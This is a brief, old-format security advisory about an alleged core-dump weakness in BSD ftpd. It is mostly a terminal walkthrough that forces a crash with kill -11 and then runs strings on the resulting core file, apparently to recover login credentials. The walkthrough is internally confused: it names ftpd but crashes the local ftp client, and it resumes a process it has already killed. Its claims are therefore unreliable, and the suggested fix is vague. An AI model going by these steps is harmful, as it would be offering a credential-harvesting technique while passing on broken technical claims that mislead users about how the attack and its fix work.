COMMAND
	    ftpd
SYSTEMS AFFECTED
	    BSD
PROBLEM
	    Take a look at followin exploit:
	
	        #ftp foobar.com
	        Welcom to foobar.com ftp site
	        blah blah blah
	        please enter login name> evil
	        that user requires a password> evil2
	        User evil loged in welcome to foobar.com!
	        Remote set to type BIN
	        200>
	        (now hit ^Z to suspend the process)
	        #ps
	          PID  TT  STAT      TIME COMMAND
	         9526  p0  Ss     0:00.12 -csh (csh)
	         9539  p0  R+     0:00.02 ps
	         1000   p0  Ss     0:00.22 ftp
	        (get the PID number to the ftp process)
	        #kill -11 1000
	        (kill the process)
	        #fg
	        (bring the ftp back to the foreground)
	        Process Killed Core Dump (blah blah)
	        #ls
	        home          mail         public_html        ftp.core
	        #strings ftp.core  > test
	        #pico test
	
SOLUTION
	    Apply wu-ftp.  This will solve your problem.